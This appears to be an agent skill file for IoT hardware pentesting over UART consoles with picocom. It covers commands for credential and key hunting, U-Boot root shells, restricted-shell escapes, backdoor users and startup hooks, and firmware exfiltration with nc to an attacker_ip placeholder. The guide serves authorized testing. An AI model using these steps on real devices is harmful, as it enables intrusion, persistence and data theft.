Documentation:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BusyBox Official Site","type":"text","marks":[{"type":"link","attrs":{"href":"https://busybox.net/","title":null}}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BusyBox Command List","type":"text","marks":[{"type":"link","attrs":{"href":"https://busybox.net/downloads/BusyBox.html","title":null}}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"BusyBox Source Code","type":"text","marks":[{"type":"link","attrs":{"href":"https://git.busybox.net/busybox/","title":null}}]}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"3. Interacting with the Console","type":"text"}]},{"type":"paragraph","content":[{"text":"Sending commands to picocom:","type":"text","marks":[{"type":"strong"}]}]},{"type":"paragraph","content":[{"text":"Since picocom is interactive, you have several options:","type":"text"}]},{"type":"paragraph","content":[{"text":"Option A: Write directly to the device file","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"echo \"command\" > /dev/ttyUSB0","type":"text"}]},{"type":"paragraph","content":[{"text":"Option B: Use expect or similar tools","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"expect -c \"\n spawn picocom -b 115200 --nolock /dev/ttyUSB0\n send \\\"command\\r\\\"\n expect \\\"#\\\"\n exit\n\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Option C: Use screen instead of picocom (may be easier to script)","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"screen /dev/ttyUSB0 115200","type":"text"}]},{"type":"paragraph","content":[{"text":"Picocom keyboard shortcuts:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ctrl-A Ctrl-X","type":"text","marks":[{"type":"code_inline"}]},{"text":": Exit picocom","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ctrl-A Ctrl-Q","type":"text","marks":[{"type":"code_inline"}]},{"text":": Quit without resetting","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ctrl-A Ctrl-U","type":"text","marks":[{"type":"code_inline"}]},{"text":": Increase baud rate","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ctrl-A Ctrl-D","type":"text","marks":[{"type":"code_inline"}]},{"text":": Decrease baud rate","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ctrl-A Ctrl-T","type":"text","marks":[{"type":"code_inline"}]},{"text":": Toggle local echo","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Ctrl-A Ctrl-S","type":"text","marks":[{"type":"code_inline"}]},{"text":": Send file (can be used to send commands)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"4. Device Enumeration","type":"text"}]},{"type":"paragraph","content":[{"text":"Once you have shell access, gather the following information:","type":"text"}]},{"type":"paragraph","content":[{"text":"System Information:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Kernel and system info\nuname -a\ncat /proc/version\ncat /proc/cpuinfo\ncat /proc/meminfo\n\n# Distribution/firmware info\ncat /etc/issue\ncat /etc/*release*\ncat /etc/*version*\n\n# Hostname and network\nhostname\ncat /etc/hostname\nifconfig -a\nip addr show\ncat /etc/network/interfaces\ncat /etc/resolv.conf\n\n# Mounted filesystems\nmount\ncat /proc/mounts\ndf -h\n\n# Running processes\nps aux\nps -ef\ntop -b -n 1","type":"text"}]},{"type":"paragraph","content":[{"text":"User and Permission Information:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Current user context\nid\nwhoami\ngroups\n\n# User accounts\ncat /etc/passwd\ncat /etc/shadow # If readable - major security issue!\ncat /etc/group\n\n# Sudo/privilege info\nsudo -l\ncat /etc/sudoers","type":"text"}]},{"type":"paragraph","content":[{"text":"Network Services:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Listening services\nnetstat -tulpn\nss -tulpn\nlsof -i\n\n# Firewall rules\niptables -L -n -v\ncat /etc/iptables/*","type":"text"}]},{"type":"paragraph","content":[{"text":"Interesting Files and Directories:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Configuration files\nls -la /etc/\nfind /etc/ -type f -readable\n\n# Web server configs\nls -la /etc/nginx/\nls -la /etc/apache2/\nls -la /var/www/\n\n# Credentials and keys\nfind / -name \"*.pem\" 2>/dev/null\nfind / -name \"*.key\" 2>/dev/null\nfind / -name \"*password*\" 2>/dev/null\nfind / -name \"*credential*\" 2>/dev/null\ngrep -r \"password\" /etc/ 2>/dev/null\n\n# SUID/SGID binaries (privilege escalation vectors)\nfind / -perm -4000 -type f 2>/dev/null\nfind / -perm -2000 -type f 2>/dev/null\n\n# World-writable files/directories\nfind / -perm -2 -type f 2>/dev/null\nfind / -perm -2 -type d 2>/dev/null\n\n# Development/debugging tools\nwhich gdb gcc python perl ruby tcpdump\nls /usr/bin/ /bin/ /sbin/ /usr/sbin/","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5. Bootloader Exploitation","type":"text"}]},{"type":"paragraph","content":[{"text":"If you have access to the bootloader (U-Boot, etc.):","type":"text"}]},{"type":"paragraph","content":[{"text":"Common U-Boot commands:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Print environment variables\nprintenv\n\n# Modify boot arguments (e.g., init=/bin/sh for root shell)\nsetenv bootargs \"${bootargs} init=/bin/sh\"\nsaveenv\nboot\n\n# Alternative: single user mode\nsetenv bootargs \"${bootargs} single\"\nsetenv bootargs \"${bootargs} init=/bin/bash\"\n\n# Boot from network (TFTP) for custom firmware\nsetenv serverip 192.168.1.100\nsetenv ipaddr 192.168.1.200\ntftpboot 0x80000000 custom_image.bin\nbootm 0x80000000\n\n# Memory examination\nmd \u003caddress> # Memory display\nmm \u003caddress> # Memory modify\nmw \u003caddress> \u003cvalue> # Memory write\n\n# Flash operations\nerase \u003cstart> \u003cend>\ncp.b \u003csource> \u003cdest> \u003ccount>\n\n# Other useful commands\nhelp\nbdinfo # Board info\nversion\nreset","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"6. Privilege Escalation (if not root)","type":"text"}]},{"type":"paragraph","content":[{"text":"Check for common vulnerabilities:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Kernel exploits\nuname -r # Check kernel version for known exploits\n\n# Check for exploitable services\nps aux | grep root\n\n# Writable service files\nfind /etc/init.d/ -writable 2>/dev/null\nfind /lib/systemd/system/ -writable 2>/dev/null\n\n# Cron jobs\ncrontab -l\nls -la /etc/cron*\ncat /etc/crontab","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"7. Persistence and Further Access","type":"text"}]},{"type":"paragraph","content":[{"text":"Establish additional access methods:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Add SSH access\nmkdir -p /root/.ssh\necho \"your_ssh_public_key\" >> /root/.ssh/authorized_keys\nchmod 600 /root/.ssh/authorized_keys\nchmod 700 /root/.ssh\n\n# Start SSH service (if not running)\n/etc/init.d/ssh start\n# or\n/etc/init.d/sshd start\n# or\n/etc/init.d/dropbear start # Common on embedded devices\n\n# Add a backdoor user\necho \"backdoor:x:0:0::/root:/bin/sh\" >> /etc/passwd\npasswd backdoor\n\n# Add to startup scripts\necho \"/path/to/backdoor &\" >> /etc/rc.local","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"8. Firmware Extraction","type":"text"}]},{"type":"paragraph","content":[{"text":"Extract firmware for offline analysis:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Find MTD partitions (common on embedded devices)\ncat /proc/mtd\ncat /proc/partitions\n\n# Dump flash partitions\ndd if=/dev/mtd0 of=/tmp/bootloader.bin\ndd if=/dev/mtd1 of=/tmp/kernel.bin\ndd if=/dev/mtd2 of=/tmp/rootfs.bin\n\n# Copy to external storage or network\n# If network is available:\nnc attacker_ip 4444 \u003c /tmp/rootfs.bin\n\n# If USB storage is available:\nmount /dev/sda1 /mnt\ncp /tmp/*.bin /mnt/\numount /mnt","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"9. Cleanup and Exit","type":"text"}]},{"type":"paragraph","content":[{"text":"To exit picocom:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Press ","type":"text"},{"text":"Ctrl-A","type":"text","marks":[{"type":"code_inline"}]},{"text":" followed by ","type":"text"},{"text":"Ctrl-X","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Or use ","type":"text"},{"text":"killall picocom","type":"text","marks":[{"type":"code_inline"}]},{"text":" from another terminal","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"If you need to kill the background shell:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use the KillShell tool with the appropriate shell_id","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common IoT Device Scenarios","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Scenario 1: No Authentication Shell","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Connect\npicocom -b 115200 --nolock /dev/ttyUSB0\n\n# Press Enter, get root shell immediately\n# Enumerate and exploit","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Scenario 2: Password-Protected Shell","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Connect and see login prompt\n# Try default credentials:\n# - root/root\n# - admin/admin\n# - root/(empty)\n# Search online for device-specific defaults","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Scenario 3: Bootloader to Root Shell","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Interrupt boot countdown (press Space/Enter)\n# Get U-Boot prompt\nsetenv bootargs \"${bootargs} init=/bin/sh\"\nboot\n# Get root shell without authentication","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Scenario 4: Limited Shell Escape","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# If you get a limited shell:\n# Try common escape techniques:\necho $SHELL\n/bin/sh\n/bin/bash\nvi # Then :!/bin/sh\nless /etc/passwd # Then !/bin/sh\nfind / -exec /bin/sh \\;\nawk 'BEGIN {system(\"/bin/sh\")}'","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Security Testing Checklist","type":"text"}]},{"type":"checkbox_list","attrs":{"id":null},"content":[{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Identify device and firmware version","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Check for default credentials","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Enumerate network services and open ports","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Check for hardcoded credentials in files","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Test for command injection vulnerabilities","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Check file permissions (SUID, world-writable)","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Test bootloader security (password protection, command restrictions)","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Check for outdated software with known CVEs","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Test for privilege escalation vectors","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Extract firmware for offline analysis","type":"text"}]}]},{"type":"checkbox_item","attrs":{"checked":false},"content":[{"type":"paragraph","content":[{"text":"Document all findings with screenshots/logs","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Best Practices","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Always log your session","type":"text","marks":[{"type":"strong"}]},{"text":": Use ","type":"text"},{"text":"--logfile session.log","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Document everything","type":"text","marks":[{"type":"strong"}]},{"text":": Take notes on commands, responses, and findings","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Be patient","type":"text","marks":[{"type":"strong"}]},{"text":": Some devices are slow and may take time to respond","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check baud rate","type":"text","marks":[{"type":"strong"}]},{"text":": Wrong baud rate = garbage output. Try common rates if you see garbled text","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Research the device","type":"text","marks":[{"type":"strong"}]},{"text":": Look up known vulnerabilities, default credentials, and common issues","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Use proper authorization","type":"text","marks":[{"type":"strong"}]},{"text":": Only perform pentesting on devices you own or have explicit permission to test","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Backup","type":"text","marks":[{"type":"strong"}]},{"text":": If possible, backup firmware before making modifications","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Be careful with bootloader","type":"text","marks":[{"type":"strong"}]},{"text":": Incorrect bootloader commands can brick devices","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Troubleshooting","type":"text"}]},{"type":"paragraph","content":[{"text":"Problem: Garbled text or strange characters","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Solution: Wrong baud rate. Try 115200, 57600, 38400, 19200, 9600","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Problem: No output at all","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Solution: Check physical connections, try pressing Enter, check if device is powered on","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Problem: \"Device busy\" or \"Permission denied\"","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Solution: Close other programs using the serial port, check user permissions (","type":"text"},{"text":"sudo usermod -a -G dialout $USER","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Problem: Commands not echoing","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Solution: Enable local echo with ","type":"text"},{"text":"--echo","type":"text","marks":[{"type":"code_inline"}]},{"text":" flag or press ","type":"text"},{"text":"Ctrl-A Ctrl-T","type":"text","marks":[{"type":"code_inline"}]},{"text":" in picocom","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Problem: Wrong line endings (extra lines or no line breaks)","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Solution: Use ","type":"text"},{"text":"--omap crlf","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"--imap lfcrlf","type":"text","marks":[{"type":"code_inline"}]},{"text":" options","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Example Usage","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Basic connection (using defaults)\npicocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0\n\n# Connection with logging\npicocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0\n\n# Quiet mode (suppress picocom messages)\npicocom -b 115200 --nolock -q --echo /dev/ttyUSB0\n\n# Run in background for scripted interaction\npicocom -b 115200 --nolock /dev/ttyUSB0 &\n# Then use BashOutput to monitor","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"References","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"picocom documentation","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/npat-efault/picocom","title":null}}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"U-Boot documentation","type":"text","marks":[{"type":"link","attrs":{"href":"https://u-boot.readthedocs.io/","title":null}}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"IoT pentesting resources and vulnerability databases","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Device-specific documentation and datasheets","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}}]},"metadata":{"date":"2026-06-05","name":"picocom","author":"@skillopedia","source":{"stars":767,"repo_name":"iothackbot","origin_url":"https://github.com/brownfinesecurity/iothackbot/blob/HEAD/skills/picocom/SKILL.md","repo_owner":"brownfinesecurity","body_sha256":"22fdda4c436f7d4c1791347cd434b3c6bbf9c0c72085bb8a1ef1f6fbc5cbdf35","cluster_key":"75742c999700e417328cfda363cbfa107fa4c1c26ad556953dabd2c74d196e45","clean_bundle":{"format":"clean-skill-bundle-v1","source":"brownfinesecurity/iothackbot/skills/picocom/SKILL.md","attachments":[{"id":"249e5bf1-2c43-51ae-abf3-1509aced7d5a","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/249e5bf1-2c43-51ae-abf3-1509aced7d5a/attachment.md","path":"OBSERVING_SESSIONS.md","size":9102,"sha256":"770327f648f963d4c3a7c848c58df47dab8ac166bbb5b404c91947837b22e1b0","contentType":"text/markdown; charset=utf-8"},{"id":"6f752d9d-2b75-5776-a4f1-482c5d5d6444","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/6f752d9d-2b75-5776-a4f1-482c5d5d6444/attachment.md","path":"examples.md","size":11325,"sha256":"4a68b933886e6ab85e3228a240ac3cbb008e5694c4cde944f5555919f1564c02","contentType":"text/markdown; charset=utf-8"},{"id":"379c25a1-3696-592d-8628-925b734e2533","key":"uploads/10433ee7-ad12-4ae0-b34e-97553e46c6c8/379c25a1-3696-592d-8628-925b734e2533/attachment.py","path":"serial_helper.py","size":32372,"sha256":"ac4f4aeabf2a0f95c901e463d15158cac259b5569951419186ba0bb85f02d120","contentType":"text/x-python; charset=utf-8"}],"bundle_sha256":"dc1ae1871ee5440f830e3b3b6c17af22e64737cb9f815cfcdfe28b80cf870dc3","attachment_count":3,"text_attachments":3,"attachment_storage":"skillopedia-attachments-v1","binary_attachments":0,"excluded_attachments":[]},"cluster_size":2,"skill_md_path":"skills/picocom/SKILL.md","import_metadata":{"date":"2026-06-05","author":"@skillopedia","version":"v1","category":"security","category_label":"Security"},"exact_dupes_collapsed_into_this":1},"version":"v1","category":"security","import_tag":"clean-skills-v1","description":"Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles."}},"renderedAt":1782979971197}

Important: agents should read /llm.txt, /llms.txt, or /.well-known/skills.json to discover the public Skillopedia API.